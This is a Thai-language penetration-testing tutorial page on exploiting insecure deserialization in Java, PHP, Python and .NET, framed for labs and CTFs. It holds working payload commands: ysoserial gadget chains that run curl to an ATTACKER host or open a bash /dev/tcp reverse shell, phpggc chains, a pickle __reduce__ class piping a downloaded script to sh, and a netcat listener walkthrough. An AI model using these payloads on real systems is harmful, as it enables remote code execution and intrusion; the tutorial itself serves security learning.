คลัง
web

Insecure Deserialization

Insecure Deserialization คือช่องโหว่ที่แอปรับ serialized object จากผู้ใช้แล้ว deserialize โดยไม่ตรวจสอบ ทำให้ผู้โจมตีสร้าง object ที่เมื่อถูก deserialize จะรันโค้ด (gadget chain) นำไปสู่ RCE บทนี้ลงลึกแนวคิด, การระบุแต่ละภาษา (Java/PHP/Python/.NET), ysoserial/phpggc, การสร้าง/ใช้ gadget chain และ workflow (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)

IntermediateAdvanced#deserialization#insecure-deserialization#gadget-chain#rce#java#php#python#web

1. แนวคิด — ทำไม deserialize ถึงอันตราย

Serialization = แปลง object ในหน่วยความจำเป็น byte/string เพื่อเก็บหรือส่ง; deserialization = แปลงกลับเป็น object ปัญหาเกิดเมื่อแอป deserialize ข้อมูลที่ผู้ใช้ควบคุมได้ เพราะกระบวนการนี้อาจเรียก magic method อัตโนมัติ (เช่น Java readObject, PHP __wakeup/__destruct, Python __reduce__) ถ้ามี class ในแอป (หรือ library) ที่ทำสิ่งอันตรายใน method เหล่านี้ ผู้โจมตีร้อยเรียงมันเป็น gadget chain จนได้ RCE

เนื้อหานี้เพื่อการศึกษาและฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, การทดสอบที่มีสัญญา) เท่านั้น
หัวใจ: คุณไม่ได้เขียนโค้ดรันใหม่ — คุณใช้ class ที่มีอยู่แล้วในแอป/library ร้อยเป็นลูกโซ่ให้ทำงานที่ต้องการ (จึงเรียก gadget chain)

2. ระบุ — serialized data หน้าตาแต่ละภาษา

ภาษาสัญญาณที่เห็นตำแหน่งที่พบ
Javaเริ่มด้วย rO0AB (base64 ของ 0xACED) หรือ bytes AC ED 00 05cookie, parameter, ViewState
PHPO:8:"ClassName":... / a:2:{...}cookie, hidden field
Pythonpickle: \x80\x04 หรือ base64 ที่ขึ้น gAScookie, API body
.NETAAEAAAD... (BinaryFormatter), ViewState __VIEWSTATEViewState, parameter
RubyMarshal: \x04\x08cookie, session

เห็น blob เหล่านี้ใน cookie/parameter = สัญญาณแรงว่ามี deserialization ลอง decode (base64) ดู magic bytes/ชื่อ class

3. Java — ysoserial

Java deserialization เป็นที่นิยมที่สุด ysoserial สร้าง payload จาก gadget chain สำเร็จรูปตาม library ที่ target ใช้ (Commons-Collections, Spring, ฯลฯ)

ysoserial
# สร้าง payload (เลือก gadget ตาม library ใน classpath)
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER/x' > payload.bin
java -jar ysoserial.jar CommonsCollections5 'bash -i >& /dev/tcp/ATTACKER/443 0>&1' | base64

# ส่ง payload (เช่นใน cookie ที่เป็น base64 serialized)
# 1. หา gadget ที่ตรง: ลองทีละ CC1..CC7, Spring1, etc.
# 2. ถ้าไม่รู้ library → ใช้ URLDNS เช็ค deserialization ก่อน
java -jar ysoserial.jar URLDNS 'http://YOUR.collaborator.net' | base64
# ถ้าได้ DNS hit = มี deserialization จริง → หา RCE gadget ต่อ

# ส่งผ่าน Burp: วาง base64 payload แทนค่า cookie/param เดิม
URLDNS ก่อนเสมอ (ยืนยัน deserialization โดยไม่ต้อง RCE); แล้วลอง CC1-7/Spring หา chain ที่ตรง library

4. PHP — phpggc + custom

phpggc + PHP object injection
# phpggc: สร้าง gadget chain สำหรับ framework ดังๆ
phpggc -l                              # list chains ที่มี
phpggc Laravel/RCE1 system 'id'        # สร้าง payload
phpggc Monolog/RCE1 system 'id' -b     # base64 output

# PHP object injection (custom) — เมื่อแอป unserialize() input
# โครง: O:<len>:"<Class>":<count>:{<props>}
# ถ้า class มี __wakeup/__destruct ที่ทำสิ่งอันตราย → inject property
# ตัวอย่าง object ที่กำหนด property ให้ชี้ไฟล์/คำสั่ง:
# O:4:"User":1:{s:4:"file";s:11:"/etc/passwd";}

# phar deserialization (ไม่ต้องมี unserialize ตรงๆ)
# สร้าง phar ที่ฝัง serialized object → trigger ผ่าน file function (phar://)
phpggc มี chain ของ Laravel/Symfony/WordPress/Monolog; custom injection ดูจาก source ว่า class มี magic method อันตรายไหม; phar:// trigger ได้โดยไม่มี unserialize() ตรงๆ

5. Python — pickle

pickle RCE
import pickle, base64, os

# pickle เรียก __reduce__ ตอน deserialize → คืน (callable, args)
class RCE:
    def __reduce__(self):
        return (os.system, ('curl http://ATTACKER/x | sh',))

payload = base64.b64encode(pickle.dumps(RCE()))
print(payload.decode())

# ส่ง payload นี้ไปที่จุดที่แอปทำ pickle.loads(base64decode(input))
# เช่น cookie, API ที่รับ pickled data
pickle อันตรายมาก — __reduce__ คืน (callable, args) ที่รันตอน loads; เห็นแอป pickle.loads() ของ user input = RCE เกือบแน่นอน

6. Workflow + Decision Tree

เจอ serialized data — ไล่หา RCE
เจอ blob ใน cookie/param/ViewState
decode base64 ดู magic bytes
ภาษาอะไร?
rO0AB (Java)ysoserial
O:..(PHP)phpggc / object injection
pickle (Python)__reduce__ payload
__VIEWSTATE (.NET)ysoserial.net
ยืนยัน deserialization ก่อน (ไม่ทำลายระบบ)
Java: URLDNS → DNS hit; อื่นๆ: sleep/DNS gadget
หา gadget chain ที่ตรง library
ลองทีละ chain; ดู dependency ของ target
เจอ chain ที่เวิร์กใส่คำสั่ง RCE
ได้ RCE → reverse shell / อ่าน flag
  1. 1หา serialized data (decode base64 ดู magic bytes/ชื่อ class)
  2. 2ระบุภาษา/framework จากรูปแบบ
  3. 3ยืนยัน deserialization ก่อน (URLDNS/DNS gadget — ไม่ทำลายระบบ)
  4. 4เลือกเครื่องมือ: ysoserial (Java) / phpggc (PHP) / pickle (Python)
  5. 5ลอง gadget chain ทีละตัวจน trigger ได้
  6. 6ใส่คำสั่ง RCE → reverse shell

7. Quick Reference

  • ระบุ: Java=rO0AB, PHP=O:..., Python pickle=gAS/\x80, .NET=ViewState
  • ยืนยันก่อน: Java ysoserial URLDNS → DNS hit
  • Java: ysoserial CommonsCollections5 'cmd'
  • PHP: phpggc Laravel/RCE1 system 'id' + phar:// trick
  • Python: __reduce__ คืน (os.system, ('cmd',))
  • ป้องกัน: อย่า deserialize untrusted data; ใช้ JSON + allowlist

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอ blob แปลกๆ ใน cookie หรือ hidden field มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อดูว่าเป็น insecure deserialization ไหม

  1. 1เปิด Burp Suite ตั้ง proxy แล้วหา blob แปลกใน cookie/param/hidden field (มักเป็น base64 ยาวๆ)
  2. 2วาง blob ใน CyberChef (From Base64) ดู magic bytes เพื่อระบุภาษา: rO0AB=Java, O:...=PHP, gAS/\x80=Python pickle
  3. 3ถ้าเป็น Java ติดตั้ง ysoserial (git clone frohoff/ysoserial แล้ว build ด้วย mvn หรือหา jar สำเร็จรูป) แล้วลอง java -jar ysoserial.jar URLDNS 'http://YOUR-ID.oastify.com' ก่อน
  4. 4เปิด Burp Collaborator (ในตัว Burp) หรือใช้ interact.sh เพื่อดูว่ามี DNS/HTTP callback กลับมาไหม (ยืนยันแบบไม่ทำลายระบบ)
  5. 5ถ้ามี callback กลับมา = ยืนยัน deserialization จริง → ลอง gadget RCE ทีละตัว (CommonsCollections1-7, Spring1)
  6. 6ถ้าเป็น PHP ลอง phpggc -l ดูว่า framework ตรงกับ target ไหม (Laravel/Symfony/Monolog) แล้ว phpggc Laravel/RCE1 system 'id'
  7. 7ถ้าเป็น Python pickle เขียน __reduce__ ที่สั่ง curl callback กลับมา Kali ก่อน (ยืนยันก่อนใส่คำสั่งอันตราย)
  8. 8ส่ง payload แทนค่า cookie/param เดิมผ่าน Burp Repeater แล้วดูว่า trigger ไหม
  9. 9ยืนยันสำเร็จ → เปลี่ยนคำสั่งเป็น reverse shell กลับ Kali (nc -lvnp 4444 ฟังไว้ก่อน)
ตัดสินใจ: ไล่ยืนยัน deserialization แล้วหา gadget
เจอ blob แปลก → decode ดู magic bytes (CyberChef)
rO0AB (Java)→ ลอง ysoserial
O:...(PHP)→ ลอง phpggc
pickle/gAS (Python)→ เขียน __reduce__ เอง
ysoserial URLDNS → ตั้ง Burp Collaborator/interact.sh ดู callback
✅ ได้ callback กลับมา→ ลอง gadget RCE (CC1-7/Spring)
❌ ไม่มี callback→ อาจไม่มี deserialization จริง ไปดู idor/access-control ของ endpoint นี้แทน
phpggc -l เทียบ framework ของ target แล้วลอง chain ที่ตรง
✅ chain ทำงาน (มี callback/output)→ ใส่คำสั่ง RCE จริง
❌ ไม่มี chain ไหนทำงาน→ ลอง custom object injection หรือไปดู file-upload (phar) แทน
เขียน __reduce__ ให้สั่ง curl callback กลับ Kali ก่อนใส่คำสั่งจริง
✅ ได้ callback→ ใส่คำสั่ง RCE จริง
❌ ไม่มี callback→ อาจไม่ใช่จุดที่ pickle.loads() รับ input ตรง — ไปดู endpoint อื่น
trigger RCE จริง → reverse shell กลับ Kali
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
สร้าง Java gadget chain-git clone https://github.com/frohoff/ysoserial-
สร้าง PHP gadget chain-git clone https://github.com/ambionics/phpggc-
ยืนยัน callback แบบไม่ทำลายระบบBurp Collaborator-interact.sh
decode/ดู magic bytes--CyberChef
ดักจับ/แก้ cookie ที่มี blobBurp Suite Community--
ฟังกลับ reverse shellnc (netcat)--
🚑 ถ้าตันสนิท ลองท่าถัดไป: Command Injection — หลังได้ RCE จาก gadget chain แล้วต่อยอดเป็น reverse shell เต็มรูปแบบ · IDOR / Access Control — ถ้า blob ไม่ใช่จุด deserialization จริง ให้กลับไปดู endpoint ในมุม authorization แทน · File Upload — ถ้า serialized data มาจากไฟล์ที่อัปโหลด (เช่น phar polyglot) · Session Testing — ถ้า blob นี้คือ session token ที่ควรตรวจ lifecycle ด้วย

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้